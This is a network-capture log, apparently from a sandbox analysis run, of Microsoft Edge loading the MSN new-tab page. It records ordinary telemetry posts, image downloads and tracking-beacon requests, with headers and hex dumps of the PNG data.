2024-11-20 15:51:00 UTC	1082	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732117857294&time-delta-to-apply-millis=use-collector-delta&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 3805 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=0D807BBDD89D650538396E80D9B4640A; _EDGE_S=F=1&SID=2FAAB3D8EF8A6AB60F47A6E5EE9B6BD9; _EDGE_V=1
2024-11-20 15:51:00 UTC	3805	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 50 61 67 65 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 30 54 31 35 3a 35 30 3a 35 37 2e 32 38 39 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 31 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 39 63 36 37 39 65 36 37 2d 33 66 30 37 2d 34 36 31 64 2d 39 38 30 36 2d 32 63 66 66 35 65 64 66 64 64 38 64 22 2c 22 65 70 6f 63 68 22 3a 22 32 31 32 34 33 38 36 39 34 31 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.PageView","time":"2024-11-20T15:50:57.289Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":1,"installId":"9c679e67-3f07-461d-9806-2cff5edfdd8d","epoch":"2124386941"},"app":{"locale
2024-11-20 15:51:00 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=0866af166dd34e0d9895a2fa15efe11f&HASH=0866&LV=202411&V=4&LU=1732117860500; Domain=.microsoft.com; Expires=Thu, 20 Nov 2025 15:51:00 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=b5e2d2ce6c4446dbacdc8b93e023e1ee; Domain=.microsoft.com; Expires=Wed, 20 Nov 2024 16:21:00 GMT; Path=/;Secure; SameSite=None time-delta-millis: 3206 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Wed, 20 Nov 2024 15:50:59 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.9	49818	23.221.239.203	443	7064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 15:51:00 UTC	634	OUT	GET /tenant/amp/entityid/AA13Q6AL.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-20 15:51:00 UTC	516	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA13Q6AL Last-Modified: Thu, 14 Nov 2024 13:08:58 GMT X-Source-Length: 1658 X-Datacenter: westus X-ActivityId: 5207dc63-23db-47af-bb98-7b1841fb9ec3 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 1658 Cache-Control: public, max-age=292645 Expires: Sun, 24 Nov 2024 01:08:25 GMT Date: Wed, 20 Nov 2024 15:51:00 GMT Connection: close
2024-11-20 15:51:00 UTC	1658	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 06 62 4b 47 44 00 ff 00 ff 00 ff a0 bd a7 93 00 00 06 2f 49 44 41 54 58 c3 d5 57 7d 6c 14 45 14 7f 33 b3 bb 77 d7 2b a5 e5 a3 48 a9 7c c4 10 82 44 12 25 d8 18 4d 8a 5a 35 11 49 0d d2 26 fc 51 03 c6 04 c3 57 03 25 a0 50 b0 11 21 d4 a4 26 02 51 f0 0b 22 06 12 30 a6 84 18 48 8a 5a 08 22 88 c4 80 80 f6 0f 3e 5a 01 11 90 c2 41 da bb 9d dd 19 df cc ee 6d f7 bc 83 16 89 31 ee e5 dd 9b 9d db 9d df ef fd de bc b7 7b 00 ff f1 41 ee f6 86 8d 0d 17 f3 be ed 3c bf 2d 61 d1 32 37 6a 15 09 d3 e0 c4 20 27 a4 41 b7 44 fb f7 db b4 6b 56 49 d7 bf 42 a0 a1 41 d2 a1 a2 e3 a5 7d 7f b6 6f 3a 2f ec b8 99 df 1f 68 3c 0f 88 45 01 0c 0a 04 4d 32 72 81 30 da 50 50 3c 6a d3 8e Data Ascii: PNGIHDR szzbKGD/IDATXW}lE3w+H\|D%MZ5I&QW%P!&Q"0HZ">ZAm1{A<-a27j 'ADkVIBA}o:/h<EM2r0PP<j

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.9	49815	23.221.239.203	443	7064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 15:51:00 UTC	633	OUT	GET /tenant/amp/entityid/AAc9vHK.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-20 15:51:00 UTC	516	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Mon, 11 Nov 2024 13:51:58 GMT X-Datacenter: northeu X-ActivityId: 03b090a8-ff0d-477a-9433-19affde5f1c7 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AAc9vHK X-Source-Length: 1218 Content-Length: 1218 Cache-Control: public, max-age=425132 Expires: Mon, 25 Nov 2024 13:56:32 GMT Date: Wed, 20 Nov 2024 15:51:00 GMT Connection: close
2024-11-20 15:51:00 UTC	1218	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 71 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 35 2d 63 30 31 34 20 37 39 2e 31 35 31 34 38 31 2c 20 32 30 31 33 2f 30 33 2f 31 33 2d 31 32 3a 30 39 3a 31 35 20 20 Data Ascii: PNGIHDR szztEXtSoftwareAdobe ImageReadyqe<qiTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.9	49816	23.221.239.203	443	7064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 15:51:00 UTC	634	OUT	GET /tenant/amp/entityid/BB1lFz6G.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-20 15:51:00 UTC	516	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1lFz6G Last-Modified: Sun, 10 Nov 2024 06:13:55 GMT X-Source-Length: 5699 X-Datacenter: eastap X-ActivityId: 97c9e9a8-9f6b-4148-a090-188006f62cf6 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 5699 Cache-Control: public, max-age=311062 Expires: Sun, 24 Nov 2024 06:15:22 GMT Date: Wed, 20 Nov 2024 15:51:00 GMT Connection: close
2024-11-20 15:51:00 UTC	5699	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 20 63 48 52 4d 00 00 7a 26 00 00 80 84 00 00 fa 00 00 00 80 e8 00 00 75 30 00 00 ea 60 00 00 3a 98 00 00 17 70 9c ba 51 3c 00 00 00 84 65 58 49 66 4d 4d 00 2a 00 00 00 08 00 05 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 4a 01 1b 00 05 00 00 00 01 00 00 00 52 01 28 00 03 00 00 00 01 00 02 00 00 87 69 00 04 00 00 00 01 00 00 00 5a 00 00 00 00 00 00 00 48 00 00 00 01 00 00 00 48 00 00 00 01 00 03 a0 01 00 03 00 00 00 01 00 01 00 00 a0 02 00 04 00 00 00 01 00 00 00 32 a0 03 00 04 00 00 00 01 00 00 00 32 00 00 00 00 86 f1 c2 a8 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 Data Ascii: PNGIHDR22?gAMAa cHRMz&u0`:pQ<eXIfMM*JR(iZHH22pHYs

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.9	49812	13.107.246.40	443	7064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 15:51:00 UTC	425	OUT	GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-20 15:51:01 UTC	516	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 15:51:01 GMT Content-Type: image/png Content-Length: 1154 Connection: close Last-Modified: Wed, 25 Oct 2023 19:48:30 GMT ETag: 0x8DBD5935D5B3965 x-ms-request-id: f7a8ea07-f01e-001f-6963-3bb317000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241120T155100Z-r1d97b99577sdxndhC1TEBec5n000000099000000000258s Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-20 15:51:01 UTC	1154	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 04 17 49 44 41 54 78 01 ed 97 cf 6f db 64 18 c7 bf 76 6a ea 34 69 e3 26 4b d4 b4 30 d2 f1 ab 4c 9a 96 c1 6e ed a1 30 0e 5c 10 4c b0 d3 0e ed 05 c1 05 35 3d ec 00 97 66 ff 41 72 43 02 a9 1a bb 70 03 c4 0d 6d 62 48 4c e2 f7 3a 0a 62 17 56 6b ab d6 aa cd 1a 37 4d 66 c7 89 fd ee 7d 9d 25 6b 1b 27 b1 1b 57 bd e4 23 39 f1 ef 7e fa 3c ef f3 bc 6f 80 1e 3d 8e 16 ce e9 8d c2 87 3f 24 4d 42 7e 04 88 04 2f e1 20 13 82 ac f9 e5 db 19 bb cb 3c 1c 62 10 73 d1 73 39 06 41 82 03 b7 80 d9 6f 6c df ed 38 82 13 5f 6f 10 b8 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaIDATxodvj4i&K0Ln0\L5=fArCpmbHL:bVk7Mf}%k'W#9~<o=?$MB~/ <bss9Aol8_o

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.9	49814	23.221.239.203	443	7064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 15:51:00 UTC	634	OUT	GET /tenant/amp/entityid/AA1hk7Sh.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-20 15:51:00 UTC	516	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Sun, 17 Nov 2024 01:27:23 GMT X-Datacenter: westus X-ActivityId: 9e7c39fd-58db-4e2c-957a-f382c8e91634 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1hk7Sh X-Source-Length: 6962 Content-Length: 6962 Cache-Control: public, max-age=121106 Expires: Fri, 22 Nov 2024 01:29:26 GMT Date: Wed, 20 Nov 2024 15:51:00 GMT Connection: close
2024-11-20 15:51:00 UTC	6962	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 0c 3f 69 43 43 50 49 43 43 20 50 72 6f 66 69 6c 65 00 00 48 89 95 57 07 58 53 c9 16 9e 5b 92 90 90 84 12 40 40 4a e8 4d 10 a9 01 a4 84 d0 42 ef 08 36 42 12 20 94 18 03 41 c5 8e 2e 2a b8 76 b1 80 0d 5d 15 51 b0 02 62 47 ec 2c 8a bd 2f 16 54 94 75 b1 60 57 de a4 80 ae fb ca f7 e6 fb e6 ce 7f ff 39 f3 9f 33 e7 ce dc 7b 07 00 8d e3 3c 89 24 0f d5 04 20 5f 5c 28 8d 0f 0d 64 8e 4a 4d 63 92 9e 02 0c d0 01 15 38 01 4b 1e bf 40 c2 8e 8d 8d 04 b0 0c b4 7f 2f ef ae 03 44 de 5e 71 94 6b fd b3 ff bf 16 2d 81 b0 80 0f 00 12 0b 71 86 a0 80 9f 0f f1 7e 00 f0 2a be 44 5a 08 00 51 ce 5b 4c 2a 94 c8 31 ac 40 47 0a 03 84 78 be 1c 67 29 71 95 1c 67 28 f1 6e 85 4d 62 3c 07 Data Ascii: PNGIHDR22??iCCPICC ProfileHWXS[@@JMB6B A.v]QbG,/Tu`W93{<$ _\(dJMc8K@/D^qk-q~DZQ[L*1@Gxg)qg(nMb<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.9	49817	23.221.239.203	443	7064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 15:51:00 UTC	634	OUT	GET /tenant/amp/entityid/AA1u24yb.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-20 15:51:00 UTC	516	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1u24yb Last-Modified: Fri, 15 Nov 2024 21:15:54 GMT X-Source-Length: 3765 X-Datacenter: westus X-ActivityId: f3e4c9dc-fa16-4ee6-89a5-1e9169e1c90d Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 3765 Cache-Control: public, max-age=408346 Expires: Mon, 25 Nov 2024 09:16:46 GMT Date: Wed, 20 Nov 2024 15:51:00 GMT Connection: close
2024-11-20 15:51:00 UTC	3765	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 09 70 48 59 73 00 00 0e c1 00 00 0e c1 01 b8 91 6b ed 00 00 01 87 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 27 ef bb bf 27 20 69 64 3d 27 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 27 3f 3e 0d 0a 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 3e 3c 72 64 66 3a 52 44 46 20 78 6d 6c 6e 73 3a 72 64 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 30 32 2f 32 32 2d 72 64 66 2d 73 79 6e 74 61 78 2d 6e 73 23 22 Data Ascii: PNGIHDR22?gAMAapHYskiTXtXML:com.adobe.xmp<?xpacket begin='' id='W5M0MpCehiHzreSzNTczkc9d'?><x:xmpmeta xmlns:x="adobe:ns:meta/"><rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.9	49813	13.107.246.40	443	7064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 15:51:00 UTC	431	OUT	GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-20 15:51:01 UTC	536	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 15:51:00 GMT Content-Type: image/png Content-Length: 1468 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:14 GMT ETag: 0x8DBDCB5E23DFC43 x-ms-request-id: cccbf3d8-c01e-0053-641b-3b7408000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241120T155100Z-185f5d8b95cdcwrthC1NYCy5b80000000adg00000000fe71 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 15:51:01 UTC	1468	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 51 49 44 41 54 78 01 ed 97 4b 6c 54 55 18 c7 ff e7 4e 19 62 da e0 b0 a1 01 03 5c 82 51 7c 52 16 1a 6d 6b 42 57 c4 c7 c2 2e 8c 26 24 46 62 44 17 26 b4 04 62 5c a0 ad 1a 63 dc c8 82 85 89 26 b4 09 68 89 1a a7 18 79 24 1a c6 05 75 41 02 17 19 23 46 03 13 10 4a 35 c8 50 fa 9a b9 f7 9c cf ef 3c ee 74 a6 96 76 da a6 2b e6 4b 4f ef cc b9 e7 9e ef 77 ff df e3 de 01 6a 56 b3 9a d5 ec ce 36 81 45 b6 cd 67 28 85 89 89 14 22 f8 20 e9 4b 0f 29 41 22 25 3c ac 85 42 8a a4 f2 a9 a8 52 8d e1 c5 d4 d5 70 75 3e 49 de a6 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaQIDATxKlTUNb\Q\|RmkBW.&$FbD&b\c&hy$uA#FJ5P<tv+KOwjV6Eg(" K)A"%<BRpu>I

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.9	49819	18.238.49.99	443	7064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 15:51:00 UTC	1012	OUT	GET /b2?rn=1732117857297&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=0D807BBDD89D650538396E80D9B4640A&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: UID=15Ba920e294d290f92c554b1732117858; XID=15Ba920e294d290f92c554b1732117858
2024-11-20 15:51:01 UTC	326	IN	HTTP/1.1 204 No Content Connection: close Date: Wed, 20 Nov 2024 15:51:01 GMT Accept-CH: UA, Platform, Arch, Model, Mobile X-Cache: Miss from cloudfront Via: 1.1 08c35fba3c05c07f78b1292e4a5f949a.cloudfront.net (CloudFront) X-Amz-Cf-Pop: JFK52-P3 X-Amz-Cf-Id: zjUyGMuH3LNPA7nutTXJapZgtrippEN-Omj1Joj4mqy295wxaesjuA==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.9	49820	20.110.205.119	443	7064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 15:51:01 UTC	1261	OUT	GET /c.gif?rnd=1732117857296&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=1b38a9a563d543da8dd1fdbcc1809c71&activityId=1b38a9a563d543da8dd1fdbcc1809c71&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=D96896DCB5BA44E4A70348A985E0B701&MUID=0D807BBDD89D650538396E80D9B4640A HTTP/1.1 Host: c.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=0D807BBDD89D650538396E80D9B4640A; _EDGE_S=F=1&SID=2FAAB3D8EF8A6AB60F47A6E5EE9B6BD9; _EDGE_V=1; SM=T
